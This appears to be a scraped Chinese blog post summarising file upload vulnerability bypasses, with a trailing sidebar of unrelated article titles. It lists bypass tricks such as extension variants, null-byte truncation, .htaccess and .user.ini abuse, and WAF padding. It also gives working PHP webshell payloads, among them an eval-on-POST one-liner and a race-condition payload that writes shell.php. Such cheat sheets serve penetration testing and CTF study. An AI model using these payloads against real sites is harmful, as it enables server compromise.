当前位置:网站首页>文件上传漏洞总结
文件上传漏洞总结
2022-07-28 05:20:00 【cainsoftware】
1.前端用js判断后端不检验,直接抓包绕过;
2.Content-type字段可以修改绕过;
3.危险可执行文件后缀:
.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf|.htaccess
4.大小写绕过:.PHP
5.收尾去空去点 payload: 点+php+点+空格+点
6.str_isreplace()将特征值字符串替换成空,可使用 双写绕过 .pphphp
7. GET上传文件,但上传路径可修改url后缀添加 phpinfo.php%00绕过
8. POST上传文件,但上传文件路径可控 %00 要转编码
9.读 文件字符串检测来判断文件类型检测方式, 生成图片木马绕过
生成语句:
copy logo.jpg/b+test.php/a test.jpg 10.文件内容检测 <? 判断
<script language="php">@eval($_POST['pwd']);phpinfo();</script> 11.PUT协议上传文件,属于白给shell
Windows系统特性
1.文件名后缀加空格和加. windows自动过滤。
2. ::$DATA是默认自动去除
Linux系统特性
1.Linux是根据文件文件头和文件内容判断文件类型,故只要文件中含有文件头,不管4字节和8字节均会被系统认为是图片文件。
逻辑漏洞(条件竞争)
1.文件上传到服务器rename修改文件后通过unlink删除文件;故可以直接burp一直提交另一边一直访问来生成导出shell;
Payload:
<?php fputs(fopen('shell.php','w'),'<[email protected]($_POST["cmd"])?>');?>2.非白名单上传文件,判断过滤函数过多,即可大批量图片马来频繁丢包,导致他服务器列队溢出,实现文件上传
3.$file判断是否为数组,可以在文件内容中提前输入数组变量绕过。
4.针对云锁有针对用户体验感特性,用大量垃圾字符/**11111111**/填充,使文件过大超出他检测范围
5.htaccess apache的仿静态配置文件,可让jpg赋予php的执行权限
6.user.ini 为LAMP 在nginx环境下利用

①这里的.user.ini文件的意思就是将当前目录下所有的文件都包含进当前目录的php文件进行解析
②构造好.user,ini文件后,讲其改名为.user.ini
③上传图片马
④上传.user.ini
⑤访问php文件即可获得shell
函数特性
str_isreplace(): 双写绕过
getimagesize(): 图片马绕过
Imagecreatefromgif(): 16进制传gif对比上传文件hex不变位置插马
exif_imagetype():
图片马
要设置.htaccess定义高宽
#define width 100
#define height 100
3.利用x00x00x8ax39x8ax39
文件解析漏洞特性
Apache: xxx.php.jpg
文件解析是从右到左开始判断解析,如果文件的后缀为不可识别,就再往左判断故可上传文件名xxx.php.222绕过
Nginx:Xxx.jpg%00xx.php
Nginx(0.5.,0.6., 0.7 ~ 0.7.65, 0.8~ 0.8.37):
url/xx.jpg%00.php
url/a.jpg%00\0.php
IIS 5.x/6.0解析漏洞:xxx.asp;.jpg
IIS 6.0默认解析:asp、asa、cer、cdx 文件为执行文件
IIS 7.0/IIS 7.5/ Nginx <0.8.3 默认开始Fast-CGI url/xx.jpg/.php
边栏推荐
猜你喜欢
随机推荐
JS = = and = = = differences
简单几步实现小程序分享朋友圈
(php毕业设计)基于php校园网络报修管理系统获取
(php毕业设计)基于thinkphp5小区物业管理系统
On a wonderful journey
CTF常见加密方式JS
Community epidemic access management system based on PHP (PHP graduation design)
animation动画实现划过(点击)暂停
C语言推箱子
Distance toolbar in ArcMap (distance)
flex弹性盒子项目属性
【博学谷学习记录】超强总结,用心分享 | 集合
图片根据屏幕自适应
Zotero——一款文献管理工具
结果填空 煤球数目
(php毕业设计)基于thinkphp5校园新闻发布管理系统获取
在线词云图生成(以WordArt为例)
设置滚动条
DOM基础
ctfshow单身狗 -- web









